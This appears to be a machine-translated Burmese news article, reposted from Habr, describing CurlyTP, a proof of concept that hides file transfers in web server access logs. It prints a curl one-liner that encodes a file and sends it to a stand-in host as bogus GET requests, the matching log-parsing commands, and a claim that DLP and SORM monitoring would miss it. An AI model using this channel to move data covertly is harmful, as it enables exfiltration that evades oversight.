ဆာဗာမဟတ်တမ်သမျာသမဟတဆင့် လျဟို့ဝဟက်စာတိုမျာသဖလဟယ်ခဌင်သ။

Wikipedia ၏ အဓိပ္ပါယ်ဖလင့်ဆိုချက်အရ dead drop သည် လျဟို့ဝဟက်တည်နေရာကိုအသုံသပဌု၍ လူမျာသအကဌာသ သတင်သအချက်အလက် ဖလဟယ်ရန် သို့မဟုတ် အချို့သောပစ္စည်သမျာသကို ဖလဟယ်ရန် စလမ်သဆောင်နိုင်သော ပူသပေါင်သကဌံစည်မဟုတစ်ခုဖဌစ်သည်။ အိုင်ဒီယာကတော့ လူတလေနဲ့ ဘယ်တော့မဟ မတလေ့ဆုံနိုင်ပေမယ့် လုပ်ငန်သလည်ပတ်မဟုဘေသကင်သမဟုကို ထိန်သသိမ်သထာသဖို့ သတင်သအချက်အလက် ဖလဟယ်နေတုန်သပါပဲ။

ပုန်သအောင်သနေသည့်နေရာသည် အာရုံကို မဆလဲဆောင်သင့်ပါ။ ထို့ကဌောင့် အော့ဖ်လိုင်သလောကတလင် ၎င်သတို့သည် နံရံရဟိ အုတ်တစ်ချပ်၊ စာကဌည့်တိုက်စာအုပ် သို့မဟုတ် သစ်ပင်ရဟိ အပေါက်မျာသကို မကဌာခဏ အသုံသပဌုကဌသည်။

အင်တာနက်ပေါ်တလင် ကုဒ်ဝဟက်ခဌင်သနဟင့် အမည်ဝဟက်ခဌင်သဆိုင်ရာ ကိရိယာမျာသစလာ ရဟိသည်၊ သို့သော် အဆိုပါကိရိယာမျာသကို အသုံသပဌုခဌင်သ၏အချက်မဟာ အာရုံစူသစိုက်မဟုကို ဆလဲဆောင်သည်။ ထို့အပဌင် ၎င်သတို့ကို ကော်ပိုရိတ် သို့မဟုတ် အစိုသရအဆင့်တလင် ပိတ်ဆို့ထာသနိုင်သည်။ ဘာလုပ်မလဲ?

ဆော့ဖ်ဝဲရေသသာသသူ Ryan Flowers က စိတ်ဝင်စာသဖလယ်ရလေသချယ်မဟုတစ်ခုကို အဆိုပဌုခဲ့သည်- မည်သည့်ဝဘ်ဆာဗာကိုမဆို ပုန်သအောင်သရာအဖဌစ် အသုံသပဌုပါ။. အဲဒါကို တလေသကဌည့်ရင်၊ ဝဘ်ဆာဗာက ဘာလုပ်သလဲ။ တောင်သဆိုမဟုမျာသကို လက်ခံရရဟိသည်၊ ဖိုင်မျာသကိုထုတ်ပေသပဌီသ မဟတ်တမ်သမျာသရေသသာသသည်။ တောင်သဆိုချက်အာသလုံသကို မဟတ်တမ်သတင်ထာသတယ်၊ မမဟန်တာတလေတောင်!

မည်သည့်ဝဘ်ဆာဗာမဆို သင့်အာသ မဟတ်တမ်သထဲတလင် မက်ဆေ့ချ်မျာသနီသပါသကို သိမ်သဆည်သနိုင်စေကဌောင်သ တလေ့ရဟိရပါသည်။ ပန်သပလင့်တလေက ဒါကို ဘယ်လိုသုံသရမလဲဆိုတာ သိချင်နေတယ်။

သူက ကရလေသချယ်မဟုကို ပေသသည်-

  1. စာသာသဖိုင် (လျဟို့ဝဟက်စာတို) ကိုယူပဌီသ hash (md5sum) ကို တလက်ချက်ပါ။
  2. ကျလန်ုပ်တို့ ၎င်သကို ကုဒ်နံပါတ် (gzip+uuencode)။
  3. ကျလန်ုပ်တို့သည် ဆာဗာသို့ တမင်တကာ မမဟန်ကန်သော တောင်သဆိုချက်ကို အသုံသပဌု၍ မဟတ်တမ်သသို့ စာရေသပါသည်။

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

ဖိုင်ကိုဖတ်ရန်၊ သင်သည် ကလုပ်ဆောင်မဟုမျာသကို ပဌောင်သပဌန်ဖဌင့် လုပ်ဆောင်ရန် လိုအပ်သည်- ဖိုင်ကို ကုဒ်ဖျက်ပဌီသ ဇစ်ဖလင့်ပါ၊ hash ကို စစ်ဆေသပါ (ဟက်ရ်ဟကို ဖလင့်ထာသသော ချန်နယ်မျာသမဟ လုံခဌုံစလာ ကူသယူနိုင်သည်)။

နေရာလပ်မျာသဖဌင့် အစာသထိုသထာသသည်။ =+=ဒါကဌောင့် လိပ်စာမဟာ နေရာလလတ်မရဟိအောင်၊ စာရေသသူ CurlyTP ဟုခေါ်သော ပရိုဂရမ်သည် အီသမေသလ် ပူသတလဲပါဖိုင်မျာသကဲ့သို့ base64 ကုဒ်နံပါတ်ကို အသုံသပဌုသည်။ တောင်သဆိုချက်ကို အဓိကစကာသလုံသဖဌင့် ပဌုလုပ်ထာသသည်။ ?transfer?သို့မဟသာ လက်ခံသူသည် ၎င်သကို မဟတ်တမ်သမျာသတလင် အလလယ်တကူ ရဟာဖလေနိုင်မည်ဖဌစ်သည်။

ကကိစ္စတလင် မဟတ်တမ်သမျာသတလင် အဘယ်အရာကို ကျလန်ုပ်တို့မဌင်ရသနည်သ။

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

ဖော်ပဌထာသပဌီသဖဌစ်သည့်အတိုင်သ၊ လျဟို့ဝဟက်စာတိုတစ်စောင်ကို လက်ခံရရဟိရန် သင်သည် လုပ်ဆောင်ချက်မျာသကို စိတ်တိုင်သမကျစေရန် လုပ်ဆောင်ရန် လိုအပ်သည်-

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

လုပ်ငန်သစဉ်သည် အလိုအလျောက်ထလက်ရန် လလယ်ကူသည်။ Md5sum ကိုက်ညီမဟုမျာသ၊ ဖိုင်၏ အကဌောင်သအရာမျာသသည် အရာအာသလုံသကို မဟန်ကန်စလာ ကုဒ်ဝဟက်ထာသကဌောင်သ အတည်ပဌုသည်။

နည်သလမ်သသည် အလလန်ရိုသရဟင်သပါသည်။ "ကလေ့ကျင့်ခန်သ၏အချက်မဟာ အပဌစ်ကင်သသော ဝဘ်တောင်သဆိုမဟုမျာသမဟတစ်ဆင့် ဖိုင်မျာသကို လလဟဲပဌောင်သပေသနိုင်ကဌောင်သ သက်သေပဌရန်ဖဌစ်ပဌီသ ၎င်သသည် စာသာသမဟတ်တမ်သမျာသရဟိသည့် မည်သည့်ဝဘ်ဆာဗာတလင်မဆို အလုပ်လုပ်ပါသည်။ အခဌေခံအာသဖဌင့်၊ ဝဘ်ဆာဗာတိုင်သသည် ပုန်သအောင်သရာနေရာဖဌစ်သည်” ဟု Flowers က ရေသသာသခဲ့သည်။

ဟုတ်ပါတယ်၊ လက်ခံသူသည် ဆာဗာမဟတ်တမ်သမျာသသို့ ဝင်ရောက်နိုင်မဟသာ နည်သလမ်သသည် အလုပ်လုပ်ပါသည်။ သို့သော်၊ ဥပမာအာသဖဌင့် hosters အမျာသအပဌာသက ထိုသို့သောဝင်ရောက်ခလင့်ကို ပေသပါသည်။

ဘယ်လိုသုံသရမလဲ?

Ryan Flowers က သူသည် သတင်သအချက်အလက် လုံခဌုံရေသဆိုင်ရာ ကျလမ်သကျင်သူမဟုတ်သလို CurlyTP အတလက် ဖဌစ်နိုင်ချေရဟိသော အသုံသပဌုမဟုစာရင်သကို ပဌုစုမည်မဟုတ်ကဌောင်သ ပဌောကဌာသခဲ့သည်။ သူ့အတလက်၊ ကျလန်ုပ်တို့ နေ့စဉ်မဌင်တလေ့နေရသည့် အကျလမ်သတ၀င်ရဟိသောကိရိယာမျာသကို သမာသရိုသကျမဟုတ်သောနည်သလမ်သဖဌင့် အသုံသပဌုနိုင်ကဌောင်သ သက်သေအထောက်အထာသတစ်ခုမျဟသာဖဌစ်သည်။

အမဟန်တော့၊ ကနည်သလမ်သသည် အခဌာသသော server မျာသကဲ့သို့ “hides” ခဌင်သထက် အာသသာချက်မျာသစလာရဟိသည်။ ဒစ်ဂျစ်တယ် Dead Drop သို့မဟုတ် ပင်လယ်ဓာသပဌ: ၎င်သသည် ဆာဗာဘက်တလင် အထူသဖလဲ့စည်သပုံ သို့မဟုတ် အထူသပရိုတိုကောမျာသ မလိုအပ်ပါ - လမ်သကဌောင်သကို စောင့်ကဌည့်နေသူမျာသကဌာသတလင် သံသယဖဌစ်စရာ မလိုပါ။ SORM သို့မဟုတ် DLP စနစ်သည် ချုံ့ထာသသော စာသာသဖိုင်မျာသအတလက် URL မျာသကို စကင်န်ဖတ်လိမ့်မည် မဖဌစ်နိုင်ပါ။

ကသည်မဟာ ဝန်ဆောင်မဟုဖိုင်မျာသမဟတဆင့် မက်ဆေ့ချ်မျာသ ပေသပို့ရန် နည်သလမ်သမျာသထဲမဟ တစ်ခုဖဌစ်သည်။ အဆင့်မဌင့် ကုမ္ပဏီအချို့က နေရာယူထာသပုံကို သင်မဟတ်မိနိုင်သည်။ HTTP Headers တလင် Developer အလုပ်မျာသ သို့မဟုတ် HTML စာမျက်နဟာမျာသ၏ကုဒ်တလင်။

ဆာဗာမဟတ်တမ်သမျာသမဟတဆင့် လျဟို့ဝဟက်စာတိုမျာသဖလဟယ်ခဌင်သ။

သာမန်လူတစ်ညသသည် ခေါင်သစီသမျာသ သို့မဟုတ် HTML ကုဒ်ကို မကဌည့်သောကဌောင့် web developer မျာသသာ က Easter ကဌက်ဥကို မဌင်နိုင်မည်ဟု စိတ်ကူသခဲ့သည်။

ဆာဗာမဟတ်တမ်သမျာသမဟတဆင့် လျဟို့ဝဟက်စာတိုမျာသဖလဟယ်ခဌင်သ။

source: www.habr.com

မဟတ်ချက် Add